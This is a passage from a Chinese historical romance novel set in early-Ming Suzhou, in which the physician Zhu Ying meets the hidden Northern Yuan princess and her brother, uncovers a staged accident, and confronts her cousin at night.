周锦桃不以为然地横过眼,周锦蘅这个被人当做笑料还不以为耻反以为荣的废物,想不到一向精明的二太太蔺氏竟会养出这样无用的女儿。
蔺氏望着笑容灿烂的女儿宠溺地点点头,“阿蘅,好生招待姑娘们,我先去后面处理一回杂务,你们尽情玩。”
蔺氏一走,女孩子们更如倦鸟出笼,叽叽喳喳,你追我打,几乎不曾将水阁的茅草顶给掀了。
爱玩爱笑的周锦蘅不知被拉去了哪里玩,没了长辈在眼前,往日在家中被拘束久了的少女们也各各跑出水阁,散在四处玩闹。
朱樱坐在水阁内,数着玛瑙盘上的刻痕出神。
“姐姐,我们去外面玩水?”帘外传来周锦李的声音。
“去去去,你没见水阁外头的廊子里有人吗?”周锦桃训导的话接踵而至,“你一个姑娘家,往那少年郎面前瞎凑什么?也不知羞。”
“周家大姐姐莫这么说锦李妹子,菱花会本就是姑娘们一处聚会玩闹,谁稀罕那些爷们来?反倒误了我们玩耍。”同行的女孩劝道。
朱樱不大认得这个声音,侧头看向廊外专心垂钓的少年人。
“还不是那个罗真,不管上哪儿都要带着她弟弟,这么大个人了,还能丢了怎地?”周锦桃不屑的声音从帘外传来,“而且你们看看她那双眼睛,碧蓝碧蓝的,跟女鬼似的,真吓人!”
朱樱回头看了看坐在屋角的高挑女郎罗真。
水阁内没剩几人,少数几个少女都是玩累了在内歇息的,彼此枕着睡得东倒西歪,憨态可掬。
唯有罗真依然端坐饮茶,似乎身旁一切与她无关。
朱樱起身,绕开歇息的少女们,在罗真身旁寻了一处坐下。
水上风来,拂着那女郎暗青色的纱衣,如烟流动。
“颜姑娘?”罗真侧过头,手指轻点,拈起一方蜜糕,放入描着蝴蝶的盘内,银刀剖成两份,放在朱樱面前,“往年菱花会,不曾见姑娘出席。”
“我不喜热闹,故逃了。”朱樱抬眼,将团扇搁在膝头,“菱花会无过女孩子们玩闹,吃新奇可口的糕点果子,比拼绣品,结交闺阁好友。我这样的人,未必有人愿意结识的。”
一双异色眼眸,足以挡去旁人亲近之意,就如面前的女郎,孤身坐在此处,除她之外,无人敢近。
两人挑开疏帘,走至临水的廊下。
“姐姐。”垂钓的少年起身,向着女郎腼腆一笑。
“阿雪,我去栈桥走走,你好生留在此处,不必跟来。”罗真报以温柔的笑意。
朱樱与罗真走至栈桥,方才断裂的木板还未换去,碎屑散落。
朱樱矮身坐在了栈桥前的台阶上,头顶樟树的影子摇曳,漏下无数重重叠叠、明明灭灭的光点。
罗真笑一笑,也坐下来,暗色的衣衫被光影点亮,光彩照人。
水声流淌,蝉鸣嘈杂。
两个妙龄女郎坐于栈桥尽头,怀抱团扇,膝头尽是吹落的木香与藤花。
罗真疲惫一叹,“这些日子,有一位应天府来的大人在寻我。”
“皇帝在找你。”朱樱接道。
谈话就这样开始,似乎早已相识。
“阿颜妹妹还记得吧?”罗真仰头,望着水面上粼粼波光,“十五年前,烽火之下,夜舟之中,那被父母抛弃,无处可去的姐弟,曾与你们同路。”
“是。”朱樱点头,“皇帝要找的北元长安公主,曾与我同路。”
她觉得王献知道这件事,以他之能不会查不出。
他或许更知道,将当年的小公主和小皇子带出大都、藏在姑苏的人,正是她那不知所踪的父亲朱珩。
就如那出戏本的最后,大都被攻破的那一夜,半年前从朱府不告而别的琴娘弦月现身于岌岌可危的宫墙内,与朱珩再度相遇。朱珩彼时已解职半年,之所以能出现在宫墙内,皆是因至正皇帝的一封密诏,为的是前来带走混有波斯血脉的年幼的长安公主和小皇子。
与弦月再度分别后,朱珩带着两个孩子与妻子苏云珍还有周家会合,一道南下逃难。
过了
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桃叶渡,苏云珍带着她,朱珩带着长安公主与小皇子,就此分路而行,至今再未相见。
“阿颜,还是叫我乌莹吧。”女郎的面颊抵着团扇边沿,眼睑垂落,遮住一双比天穹更蓝的眼眸。
乌莹,意思是蓝色的宝石,她的眼眸如蓝色宝石一般璀璨,却被人说成妖异,避如鬼怪。
“上月,朱伯伯给我留下一封信,说要往云南去。”乌莹仰起头,望着远处天穹不语,云南有北元的梁王,还有许多不及逃往关外的北元旧臣。
他们始终逃不出那些人的视线,要么去与云南梁王合作,要么……转而投向明朝的皇帝示好么?
“我不在意自己如何,只希望阿雪能够过得安稳。”乌莹笑笑,将团扇遮在面上,“我和阿雪离开大都时,他还是婴孩,连名字都不曾有。后来,我给他起名叫做那苏图,希望他可以长命百岁,一生顺遂。”
朱樱点了点头,“可是,皇帝想送他去做草原上的王。”
“……是么?”乌莹又笑了,“草原,多遥远的地方。”
他们是草原的孩子,可是他们不曾见过那片广袤之地的模样,不曾见过成群的牛羊和飞翔的猎鹰,什么都没见过。
她想,跟着她在江南水乡长大的弟弟,是不可能做好草原上的骁勇君主的。
“逃得远远的,不也可以试一试吗?”朱樱俯身拾起一片木板的碎屑,细细看,“阿蘅爱玩,会划船过来是很容易预见到的事情,栈桥年久失修,行走之时难免摇晃,谁都不会在意。”
“可是你看……”她将那枚碎木片举起,对着阳光,木片一头断裂,木刺参差,另一头却断得齐齐整整,如同有刀一劈而下,“好一个年久失修的栈桥,好一场精心安排的意外。”
一场巧妙策划的好戏,为的不是她,而是另一个淌着蒙古血脉的女郎。
周云钊到底想做什么呢?
“我知道。”乌莹站起身,膝头积攒的落花纷纷飘散。
她知道菱花会是一场陷阱,但她还是要来,还是要带着那苏图来,因为她想看一看,那个挖陷阱的人究竟是谁。看清了对手,她才能决定究竟倒向哪一方寻求庇护,保全自己和那苏图。
朱樱抱起双膝,抬头看着面前的女郎不语。
乌莹回过身,“阿颜妹妹是为了大明的皇帝来游说我么?朱伯伯听闻自己的女儿竟成了大明的公主,也是万分惊讶。”
“的确如此。”朱樱站起身,抛开手中的碎木片,“定了内忧,再平外患,皇帝先要对云南用兵,而后才是草原,你还有许多时间想清楚,不好么?”
水阁旁,周锦桃藏在一株高大的水杉背后,远远看着栈桥上交谈的女郎。
周锦蘅追着蛱蝶跑过,扬手在周锦桃肩上猛地一拍,“大姐姐!你在这里做什么?莫不是要抓鱼?”
“死丫头。”周锦桃吓了一跳,走开几步,拍拍衣袖,鄙夷道,“你自己玩去,别耽误我的事。”
朱樱同那个蒙古女郎谈话谈了许久,定不是什么好话,可叫她抓住把柄了。
周锦蘅扁了扁嘴,平日听惯了周锦桃奚落,也不以为意,蹲下身捡了几个杉树的果子,兜在衣襟里,往栈桥走去寻朱樱。
16. 第十六章 不期
“罗真姐姐,你的眼睛真好看,比天还蓝,要是我也有这样好看的眼睛就好啦。”周锦蘅提着裙摆走近,向乌莹咧嘴一笑。
朱樱和乌莹对望一眼,心道这女孩当真单纯,别人都怕得不敢接近,独独她却在这里说羡慕。
“我的娘亲是波斯人。”乌莹答道。
她的母亲是波斯贡女,才生下一双儿女,刚在偌大的宫廷中站稳脚跟,接踵而来的便是整个王朝的倾覆。人的命运,在风云翻涌之际,真是不值一提。
“波斯?哎呀,波斯也有很多好吃的、好玩的吧?”周锦蘅捏一个碧绿的杉树果子,一边笑着,一边向唇边送。
“阿蘅,生的吃不得。”朱樱抬手打落,小球般的果子滚落在地,一直落入水中,溅起一圈涟漪,惊跑了聚集的鱼群。
水榭上垂钓的少年搁下钓竿,起身往栈桥走来。
“阿雪。”乌莹向少年点头,“这是朱伯伯的女儿和周家二娘子。”
少年转向朱樱和周锦蘅,“我的名字叫做罗雪。”
那苏图是长寿之意,就如北地高山上的雪,万年不化,象征着长生与永恒。
“诶,是你啊,我记着呢,就是你放跑了我的蜻蜓!”周锦蘅还记着好不容易捉到的蜻蜓,竖起眉看着那苏图。
那苏图眼中蕴着明澈的笑意,轻声说道:“周二娘子方才也惊了我的鱼,不是扯平了么?”
周锦蘅语塞,瞪着大眼,一手悄悄去拉朱樱,“颜姐姐!你快帮我说,要他赔我的蜻蜓。”
“阿蘅莫闹。”朱樱摇头,团扇在她额头轻敲一下,“阿蘅也惊了旁人的鱼,岂非也要赔吗?”
“哎呀,好小气,赔就赔嘛,捉鱼有什么了不起的。”周锦蘅将兜着的杉树果子往地上一抛,甩下绣鞋,脱去外衣,一阵风似的跑向河滩,笑道,“鱼才没有我游得快呢。”
乌莹讶然,挑了挑眉,眼中尽是欣然笑意,“好有精神的小姑娘。”
快乐而勇敢的姑娘,生活在最灿烂的阳光下。
“颜姐姐。”那苏图向朱樱郑重一礼,“我一直想向姐姐当面致歉,只是这些年来,一直不知原来姐姐亦在姑苏。如果不是因为我,朱伯父不会……”
“没事的。”朱樱摇头,转身去看粼粼水面。
那个做父亲的人为了救下旁人的孩子,一度放弃了自己的孩子。
她不曾见过朱珩,亦不曾见过弦月,她失却了幼时的记忆,或是说故意地遗落了。她只记得,总有人向她说,她的父亲是如何惊才绝艳,如何的才如江海却未得天酬,而她的母亲是如何高傲的美人,琴技之高,在当时的大都城无人能及。
可惜,她一次也没有见过。
朱樱看着面前眼神清澈的少年,故意笑着问道:“父亲救下你,全是因至正皇帝托付,又非出于本心。所以,你何必感激他,我又何必怨恨他?”
“不论如何,朱伯父确实救了我。”那苏图抬起头,与乌莹一般的蓝色眼眸纯净如同雪山中无人涉足的湖泊,“不论他出于何种目的,我始终感激他。”
乌莹莞尔,拍了拍那苏图肩头,“阿雪,姐姐还有事情要处理,我们先回去了。”
那苏图温驯点头,“好。”
“颜妹妹,我便不向二太太告辞了。”乌莹将一支白玉短笛放在朱樱掌心,“若要寻我,到太湖中的西山下吹响玉笛。”
朱樱收起玉笛,目送乌莹与那苏图从草木葱茏的小径离开,一回身,见白篱和绿茗拿着大巾子,追着周锦蘅擦身上的水珠。
“颜姐姐!”周锦蘅一身是水,滴滴答答地赤足跑上前,双手捧着一条甩着尾巴的大鲤鱼,“我捉到了!诶,人呢?”
“我的姑娘,怎么又去玩水?”绿茗一边为周锦蘅擦拭头发,一边捡去她肩头的藻荇,急得要哭,“太太才说了,今日菱花会,要我们看好姑娘,莫让姑娘胡闹。”
“哎哎哎,你不同母亲说不就成了吗?你看我哪一次教母亲知道了?”周锦蘅满不在乎地摆摆手,四处张望,“罗真姐姐他们人呢?”
朱樱笑道:“阿蘅太慢了,他们已回去了。”
周锦蘅撅起嘴,一扭头,“哼,没耐性。”
说罢,又奔到水边,蹲下身,双手浸入水中,将那鲤鱼放了。
鲤鱼翻过身子,摆了摆鱼尾,在水面上划出一线涟漪,游向湖水深处。
绿茗好说歹说劝了周锦蘅回屋换一身衣裳。
“白篱,你先回去,我出去一趟。”朱樱戴上帷帽,走了几步,转头见白篱还呆呆地站在原处,问道,“白篱,你方才去了哪里?”
白篱回过神,低下头答道:“啊……姑娘吩咐我自去玩,我和绿茗跟着二姑娘她们斗草,谁知一回头不见了二姑娘,这才和绿茗来找。”
“是么?”朱樱轻声笑了笑,“斗草这么有趣的事,方才倒不曾听阿蘅说起,看样子她一定是败了才不肯说。”
王献照例在花坊的小院内翻看文书和信件,信件在书案上分门别类地排开收拢,井井有条,一丝不乱。
“你来了。”王献抬头瞥一眼,翻出一封信件,掷到朱樱面前,“梁王也在寻长安公主,你看看,这是梁王写给你父亲的信。”
信的封皮磨损了些,也不知是王献手下的人从什么地方搜罗出来的。
信上说,梁王知道朱珩在十五年前从宫中带走了一位小皇子,虽目下无人识得那位小皇子的真假,但云南的官吏有些是当年大都朝臣,里头也有人认得长安公主,若有长安公主从旁为证,自然相信那少年亦是流落在外的小皇子。且姑苏是大明的地界,公主与小皇子安全无着,希望朱珩从速带着他们前去云南,共图大计。
“但他孤身去云南了,并未带上他们二人。”朱樱放下信件,摊开手,掌心卧着那枚白玉短笛,上面挂一尾鹅黄色的流苏,“我没能见到他,不过见到了长安公主乌莹和小皇子那苏图,比起云南梁王,乌莹眼下似乎更乐意与皇帝合作。她给了我这枚玉笛,要寻她时,到西山吹响玉笛即可。”
王献铺开一纸信,将她所说删减归纳,一一记下。
“此事我会呈给皇上裁决。”王献沉吟,“至于你父亲……”
至正年间礼部侍郎朱珩,自幼以才学闻名,后与弦月相恋,弦月不辞而别半年后亦上表解职,却偏偏在那之后现身宫中带走皇嗣,这些举动究竟何意?他所作所为,又是为了什么?如今他应梁王之约前往云南,这在皇帝眼里可不是什么好事……
“我亦不知。”朱樱憾然摇头,“我不记得他们的样子了,这些年父亲他,从不是父亲。”
“不,比苏芥那家伙要好。”王献低下头,继续写信。
他能感到,朱樱与父母年幼分别,虽无多少情分可言,但也没有怨恨。
王献看
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向朱樱,那女郎坐在书案前,垂眸看着掌心玉笛,黛眉稍蹙,如山峦重叠,一双琥珀色的眼眸却蕴着暖意。
他忽然觉得,朱樱是很善良温和的女郎,她是发自真心去为那些前来求医的人医治的,而非他原先以为的穷极无聊或是沽名钓誉之类。
她或许只是想救治那些人而已。
“怎么了?”朱樱侧脸看向他,将手伸到他面前,“玉笛你收着吧?”
“不必。”王献摇头。
“那我就收着了。”朱樱起身推开临街一面的隔扇,窗外是流淌不息的平江河,垂柳绵绵,风将柳条和蝉鸣一起送进屋内。
隐匿在黑暗中的屋子顿时一亮,满是生气。
王献不由搁下笔,起身走至窗畔,去感受带着水色与绿意的风。
朱樱倚着窗格看了片刻,忽地探出身子,“那是……”
垂柳掩映中,恍惚望见一个白色的身影走进一旁逼仄无人的小巷。
王献皱眉,“你认得那人?”
“我……”朱樱犹豫未答,手在窗沿上一撑,随即整个人翻出隔扇,落在河边围栏内,向那个巷口跑去。
“高昌!”王献扫一眼屋门落锁,立刻跟着跃出窗子。
这屋子临河,离外面围栏只窄窄一道小路,拿捏不好分寸极易落入河中。那人究竟是谁?能让朱樱不计后果急急出去寻找,看着分明不是苏芥。
朱樱走进巷口,巷子很窄,两侧人家的檐头上、花窗内挑出盛开的紫薇,浓绿的叶片遮蔽了视线。
朱樱低头钻进巷子,望见方才那道白影掠过转角。
“等等!你……”朱樱抬手挡去墙头斜出的花枝,却惊觉手腕被人向后一拽,腰间也被人一揽,直直向后跌去。
身后的人将她制住,探手蒙住她的眼睛。
“谁……?”朱樱身子一僵。
“阿颜,这么巧被你看到了么?”苏芥附在她耳边,轻声道,“不论看到了谁,不要告诉王献,知道吗?”
“……宣清。”朱樱抬手,去抓他蒙在眼前的手,“放开我。”
苏芥在她身后笑起来,道:“我偏不放手呢?”
“你——!”朱樱被气得一噎,横过手肘去打身后的人。
苏芥一让,她往后踉跄两步,撞在身后墙壁上,墙头紫薇抖落,绉纱般的花瓣洒满肩头。
朱樱双颊微红,瞪着眼看面前的人,看了足足一刻。
青衣郎君仍和记忆里一模一样,让人忍不住想去摸摸他的面颊,看是不是梦境。
小巷狭窄,两人几乎紧贴而立。
身后的墙头一阵瓦响,一前一后,应是王献在追方才那人。
朱樱想起正事,抬起的手复又落下,侧过脸,皱眉道:“你让开。”
“久别重逢,阿颜就没有别的话说么?”苏芥伸手挡住她两侧的路,低头抵着她的额角,“我们什么时候这么见外了,嗯?”
“我何时与你见外了?”朱樱抬头,直视他灰色的眼睛,“我问你,谷雨后一日,半夜来借宿的人是不是你?见外的人是你吧?”
分明来了,却不愿当面见她,这是什么道理?
苏芥含笑看着她,托起她的下巴,和声问道:“是阿颜先从周家逃走的,不就是为了避我吗?既如此,倒也不好来惹你厌烦。”
朱樱眼神躲闪一下,“我没有躲着你。”
17. 第十七章 今宵
帘幕寂寂,淡青色的烟气在微光流转的屋内盘旋着散去。
纱帐上用单根丝线挑出桃花模样的花朵,迎着流动的光影,不时一现。
沉睡的美人安然躺在帐内,一双手放在身侧,乌发微乱,散落枕上,半露出枕面上绣的蛱蝶。
白篱捧着药碗,放轻脚步,侧身移近屋内,透过轻曳的幔子向内望。
菱花会上朱樱独自离开周宅,直到暮色沉沉也未回来,问遍了家中的人,也无人知道她的去处。二太太蔺氏得知此事,急得几乎要哭,嚷嚷着要亲自出去找,那神情态度,简直比丢了亲女儿还伤心焦急。
不过,蔺氏还没来得及张罗着出门,二老爷周云钊就回来了,他身后还跟着一位年轻的郎君,郎君怀里抱着他们家迟迟未归的姑娘。
顿时,丫鬟们也不吵了,二太太也不闹了,众人呆了一刻,而后蔺氏将丫鬟们全都遣散,白篱也不例外。
白篱停下脚步,低头看着青瓷碗里乌沉沉的药汤发怔。
帘子背后一无声息,安静得似乎连烟气升起和散去的声音都能听到,她忽然感到心头一阵没来由的害怕,双膝便有些发软,不敢踏进去半步。
院子里一阵脚步声,远远便听见周云钊带着笑的话:“贤侄特意为王爷来传递消息,确是辛苦了。”
“至于那位应天来的大人,我会命人多加防范,多谢提醒。还有阿颜,总如此不懂事,与皇帝的人混在一起算什么?唉,这么多年,我就是看不清她的心到底向谁偏。”周云钊重重叹口气,“啊对了,长安公主的去向,究竟……”
随后周云钊的声音低了下去,白篱侧耳听一阵,只得模糊的说话声,听不分明。
门一响,有人走了进来,白篱一抖,忙紧捏了药碗,做出要端进去的模样。
“不必,阿颜她不肯吃药的。”有人在身后唤住了她。
白篱转身,顺下眼作出乖巧的样子,道:“但姑娘她……”
“我会陪着她,你自去歇息便可。”那人从她身旁经过,拂开幔子,在朱樱床畔侧身坐下。
白篱张了张嘴,将药碗放在外间小案上,追了进去,低声斥道:“你怎可这样随意进来?我家姑娘……”
“这么忠心么?”苏芥抬起头,望她笑了笑,“该不会已经忘了,你到底在为谁卖命?”
白篱一抖,不由退后几步,瑟瑟望着他,脑中搜寻着说辞。
这人一双泛着灰色的眼睛,容貌也不似汉人,莫非是……常与周云钊往来的云南来的人?是了,方才不正听到周云钊提起什么“王爷”吗?多半说的是云南那位梁王。
白篱忍着抖,继续佯凶道:“你、不论你是谁,姑娘没请你,你便不能留在这里,就算是二老爷二太太也不行!”
苏芥带着笑摇了摇头,侧身握住朱樱垂在身侧的手,轻声道:“你不必这样入戏,阿颜她就不似你这样。”
白篱脸一白,眼中蓄了一层泪光,轻轻地闪烁。
站了片刻,见苏芥不再理睬她,她只得悄步退了出去,在帘外软榻上坐下,一手紧捏着药碗,透过帘子的缝隙望着里屋。
撑了整夜,眼见得天色大亮,白篱不觉朦朦胧胧睡了过去,再醒来时,一条胳膊压麻了,眼角里望见一点泛黄的光,怕是已到午后。
白篱忙跳了起来,跑进里屋。
捏在手里的药碗早被人倒了干净,青瓷小碗正好端端放在一旁小几上。
“咳……”朱樱也醒了,在枕上挪了挪,抬起手捂住额角,迷茫地睁开眼,“这是……?”
“姑娘,你终于醒了……”白篱眉头拧着,挑开纱帐一角,挂上银钩,“姑娘有哪里不舒服吗?”
朱樱揉了揉眼,挣扎起身,又不禁按住额角。
“姑娘头疼吗?”白篱探进帐子,扶住朱樱,在她身后垫上一个软枕。
这是老毛病了,但凡平日里累着一些,都免不了第二日头疼。
“不是。”朱樱眼睛微闭,定了定神,自觉还有些不够清醒,低声问道,“苏芥人呢?”
“姑娘还问他?”白篱气鼓鼓地别过脸。
朱樱莫名地看着她一脸愤懑的模样,试着轻摇了摇头,“他怎么惹到你了?”
还好,略有些昏沉沉的,但没有那么头晕,起身外出应是都不成问题。
“他欺侮姑娘,肯定不是好人!”白篱正义地道。
“也……不算吧。”朱樱摇头。
昨日她被苏芥堵在巷中,苏芥告诫她不要掺和乌莹和云南那边的事,之后说要送她回周宅,自然她并不答应,之后似乎便被他迷晕了。
也,仅此而已。
“可……”白篱强忍着吞一口气,心里想想还是觉得气不过,又不知怎样控诉。
后来她在帘子外瞪着眼看,苏芥也不过是在旁坐了一夜看书而已,确实没什么不妥的举动。
可她就是不喜欢那人,还有他说的那些似是而非的话,他和周云钊的谈话……都让人不喜欢。
外间珠帘琳琅碎响,白篱抬起头,见蔺氏满脸堆笑地走进来,身后跟着两个伶俐的大丫鬟,双手捧着雕花的漆盘。
“阿颜,你睡了许久,也该饿了。”蔺氏轻手轻脚地走进来,在床沿旁坐下,大丫鬟递来一碗甜汤并一叠大方糕。
“二太太。”朱樱含笑点了点头,“让您忧心了。”
蔺氏眉一展,端起瓷碗,笑道:“阿颜没事就好。先吃几口梨汁润润嗓子,我让厨下做了你最爱吃的桂花豆沙大方糕,一会儿好歹先吃点垫垫肚子。”
朱樱乖乖就着她手中呷了一口,说几句乖巧的话敷衍蔺氏。
院外,王献蹲在周宅外一株高树上,居高临下地望着院中的灯火从摇曳到熄灭,叹口气。
昨日他随朱樱离开花坊去追那白衣人,谁知那人灵巧得很,最后甩脱了他。等他回过神去寻朱樱,才发觉连朱樱也不见了,只在她走进的那条小巷中寻到磕破了角的半颗玉珠子。
四处寻不到人,王献决定探一探周宅,谁知周宅的护院极警觉,他才确认朱樱确在宅子内,未及接近,便被护院发觉,不得已只能在外面伺机而动。
等了整整一天一夜,也未见她走出院落——这是怎了?
朱樱醒时已邻近黄昏,蔺氏与她说了会儿闲话,看着她吃过东西,吩咐白篱好生照料,就走了。
“姑娘!”白篱待所有人都走了,拉着朱樱的手,沉痛道,“二太太实在是太奇怪了!昨日那位郎君送娘子回来,二太太也瞧见了,也不问问?”
“白篱。”朱樱一手挡着纱帐,慢慢起身,“没什么好奇怪的。我与他自小有婚约,只是没在这宅子里提起过罢了,舅舅舅妈他们,自然都是知道的。”
“啊?那位……”白篱一抖,想起苏芥一双寂沉沉的灰色眼眸,颤颤问道,“该不会是前朝的时候定下的吧?”
“是啊。”朱樱点头,“这种事很寻常。”
身为好友的朝臣为还在幼年的儿女定下亲事什么的,再常见不过了。她过去第一次与苏芥相识,便是因此。
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白篱默然,低下头霎了霎眼。
这样的吗?可……还是很奇怪吧?与其说这件事奇怪,不如说,那个人实在让人觉得奇怪,和……不安。
朱樱点起一盏明瓦的羊角灯,披上外衣,向外走。
“姑娘,姑娘,天都夜了,你要去哪里?”白篱回过神,追着朱樱跑到廊下。
“我记得屋角那有一株昙花,近日恰好要开了,我去看一看。”朱樱抬起提着灯盏的手,摇曳的火光映出姣好的面容。
白篱一晃神,迟迟地想起那株昙花,是那年姑娘治好了一位西域来的商人,那商人打听得姑娘非常喜爱养花,便托人从家乡千方百计地弄来一株叶子肥厚的盆栽,送给姑娘作为谢礼。
白篱那时还嘲笑过这件事,毕竟那盆栽看起来是在有些令人不敢恭维,与旁的花摇曳生姿的模样全然不同,仿佛一片片肥厚的叶子是直戳戳插在土中的。
但姑娘很高兴,姑娘说这就是佛经里提到的昙花,在现今,不论中原还是江南,这株花都是极稀有的,恐怕连皇帝跟前都没有。
朱樱提着灯笼转过回廊,矮身坐在廊外的雕花栏杆上。
跋涉千里而来的昙花打满了拳头大的花苞,还没有开放,圆圆的羊角灯内烛光摇曳,将昙花绿色的叶片映得仿佛翠玉。
一颗细小的珠子落在青石的地砖上,在寂静的夜里溅起极小的声响。
朱樱俯身捡起玉珠子,抬头看见远处树上有黑色的身影一晃,面色微滞。
那是王献?这么晚了来寻她,难道有什么急事?
“姑娘,你走得真快,白篱不过回去拿件外衣,姑娘就已到了呢。”白篱追上来,手中拿着一领轻薄的竹布斗篷,“虽是暑天,但如今夜了,姑娘也该防着点夜露侵人。”
朱樱披上斗篷,看看白篱,道:“你去寻二老爷,问他明日可有空闲,我有些事要同他说。”
“啊?”白篱一怔,眨眨眼,迟疑一会儿,转身走出院落。
王献落在廊外,手中紧握着短刀,“你怎了?”
“……无事。”朱樱快步转过回廊,“先跟我来,有人听见动静了。”
“周家的护院如此厉害?”王献看着朱樱关上门,在窗格旁向外望了望,夜色中,檐头仍有几人走动搜寻的身影,皱眉道,“一个旧臣家中,竟豢养如此多……”
“周家是行伍出身,南来时也带着不少部下,这些护院自然身手不弱。”朱樱连窗格也紧紧关上了,再到门前细细听了一会儿,未有动静,才转过身背倚着门,问王献,“我昨日遇到苏芥了,你追到那人了么?”
王献摇头,“没有。”
“我想也是。”朱樱垂头沉思。
那人……与云南那边有关,却不该与云南梁王有关,为什么现在来?
想了片刻,她抬起头:“你去探过长安公主那边的消息了么?”
王献再摇头,“我没追上那人,回来寻你,你却不见,我不知你与苏芥一道,只道周云钊发现了什么,因此一路追来周家,未曾去拜访长安公主。”
朱樱摇头,“你先去寻乌莹,不用管我,舅舅最多将我关在这里,还能怎样?”
王献犹豫片刻,他能察觉到朱樱的处境不那么乐观,或许并不止她说的那样,而皇帝曾命他随行护卫朱樱——虽只是个幌子,但就算以皇帝的想法来看,现在也远远未到牺牲这颗棋子的时候。
院外响起一阵轻轻的叩门声。
“你快走。”朱樱转身穿过庭院,打开院门。
18. 第十八章 三问
院外,翠绿衣衫的少女站在大片芭蕉叶的掩映之下,手中提一盏莲花灯,俏丽的脸上笑意盈盈。
“颜姐姐,惊喜么?”周锦蘅歪了歪头,提着裙子灵巧地跳进院落,“我听娘说你醒了,就骗那些小丫头和老嬷嬷说我已睡下了,偷溜出来看你!”
朱樱凝重的脸上透出笑意,小姑娘是真的担心,这样的情绪毫无遮掩地写在了她的脸上,不带一点试探的意味。
周锦蘅因是偷偷溜出来,比兔子还机敏,将灯笼塞给朱樱,自己一溜烟窜进了屋内。
院子精巧玲珑,四处石栏高低错落,雕镂着栩栩如生的花朵,院中本就花木葱茏,与雕花相映成趣。
刚走到廊下,一名护院跃入院中,问道:“颜姑娘,得罪了,方才兄弟们看见有人进了姑娘的院子,恐是歹人,请姑娘让我进去搜寻一番。”
周锦蘅从屋内探出头来,指着护院道:“你这蠢猪,废话!进院子的人是姑娘我!你连我也不认得了么?该打!”
“二、二姑娘……”护院一怔,舌头开始打结,“小的不知是二姑娘来……”
“吓,不是我还能是谁?”周锦蘅跳到院中,指着墙头不甚清楚的几道黑影,不满地道,“喂,你你你,还有其他人,赶紧都去歇着,不许告诉我娘,更不许告诉我爹,听见了没有!”
“是是是,我们这就远远躲开去,谁也没瞧见二姑娘。”护院连连应允,一边倒步向外退出。
谁不知道宅中二姑娘简直是个天魔星,翻墙爬树,下水摸鱼,什么都干得出来,偏偏在老爷太太面前何等乖巧,从前护院们去告状,老爷太太压根不信,后来大伙也就随这小祖宗去了,懒得多言。
“哈哈,走了。”周锦蘅得意地笑道,“颜姐姐,我们玩一会儿去。”
朱樱推门进屋,松口气,王献果然已走了。
周锦蘅从什锦格上取下一盘棋,“颜姐姐,来玩一盘双陆吧?”
“好。”朱樱撑开棋盘,一边思索昨日的事,一边下棋。
虽一心二用,依然赢了周锦蘅。
周锦蘅撅起嘴,“不玩了,不玩了,颜姐姐都不让着我!白篱!白篱,你去拿投壶来,我一定要赢过颜姐姐……诶?白篱人呢?”
“她去寻你父亲了。”朱樱细心收起被周锦蘅洒得到处都是的棋子。
“哈?她昨日不是才去寻过了么?还去啊?”周锦蘅抬起头,食指抵在下巴上,回忆道,“我放了那条鱼,被摧着回屋去换衣衫,出来就看见白篱在书房那里寻我父亲呢。”
朱樱手下动作一顿,棋子落入棋盒,溅起不少棋子。
“颜姐姐,说也奇怪,大姐姐也在那儿,还贼头贼脑的。”周锦蘅撇了撇嘴,“在自己家里,干嘛这么鬼鬼祟祟嘛。”
朱樱站起身,拉着周锦蘅走出院落,“阿蘅,你先回去。”
“啊?我不要,我不要!”周锦蘅摆出要哭的模样,道,“我还没玩尽兴呢!还有,我想问问颜姐姐,可知道昨日那个少年郎,就是那个……罗雪,要去何处寻他?”
“你寻他做什么?”朱樱敛下眼,语气略冷。
一旦牵扯到朝政,其中凶险岂是周锦蘅一个小姑娘能处理的。何况她父亲还醉心于此,迟早惹祸上身。周锦蘅竟还想横插一脚,这丫头真是爱玩到不要命了。
“我不管嘛,他还欠我一只蜻蜓呢,娘说欠债是有利息的,他一日不还我,就多欠一只。”周锦蘅振振有辞,“所以,颜姐姐下次见到他,一定记得替我讨回我的蜻蜓。”
“说不定能攒到一百只,不对,两百只……”周锦蘅开心地竖起手指算,“不管了,算不清,总之有好多好多,一辈子也抓不完。”
朱樱提起灯,“阿蘅,夜已深,我送你回院子。”
周锦蘅喜出望外,拍手笑道:“颜姐姐今天真好,从前你再不肯踏出这院子一步去送送我,我还同母亲打趣,说颜姐姐也是这院中一株珍稀的花,生了根的。”
两个年轻女郎提灯穿行于漆黑的府中,转过游廊,穿过玉带桥,跨过月洞门。
朱樱送周锦蘅进了院落,提着灯盏,闪身翻过□□,走进周锦蘅对面的小院。
院中寂静,一片漆黑。
朱樱拈起一支线香,探进灯罩内,在火焰上引燃。
一点火星映着腾起的烟气,缠绕在她身边,拖着长长的影子,幽灵一般飘进廊下。
周宅的夜晚一向平静,守夜的丫鬟们本就睡得很死,添了这迷/香更是毫无所觉。
朱樱一路畅行,灯笼摇曳朦胧的光芒映出屋内华丽的装饰。
跨进正门,四面均是什锦古董格子,背侧糊着色彩鲜亮的薄纱,进内室的门掩藏在旋转的花架后,花架一经转动,上面贝壳串成的风铃叮叮作响。
朱樱动作微顿,慢慢将花架转到能刚好通过的位置,将香随手插在花架上的一株盆景内,抱起羊角灯,轻轻挪近内室。
纱帐低掩,烛火的光芒映出床内沉睡的女孩,锦被只拉到胸口,随着睡梦中安稳的呼吸起伏。
朱樱缓步走到床头,灯盏挂在银钩上,伸手挑起床帐。
这是周家大姑娘周锦桃的屋子,周锦桃依然熟睡未醒。
朱樱在床沿旁坐下来,看着她安然熟睡的面容,微微一哂,俯身用指尖从她面颊上划过。
周锦桃睡梦中皱了皱眉,想抬手去碰,却发觉手臂抬不起来。
“大姐姐倒是好睡。”朱樱斜倚床柱,一侧面颊支在掌中。
周锦桃昏昏沉沉地醒过来,还未睁眼就觉得有人在盯着自己,忍不住打了个寒噤。待看清床边多了一人时,不由惊呼。
“你……你……颜娘?!”周锦桃借着摇曳的烛光认出了朱樱,在黑暗中放大的瞳孔猛地一缩,忙唤值夜的大丫鬟,“红枝!红枝!”
“她们都睡着了。”朱樱将食指抵在唇前,浅浅一笑。
周锦桃想起丫鬟们私下里对朱樱的议论,知道她在医药上的厉害,要弄晕几个人不在话下,不禁害怕,“你……你要做什么?”
“大姐姐现在怕什么?”朱樱抬手取下羊角灯放在周锦桃枕边,更清楚地照出她的神色,“我又不是鬼。”
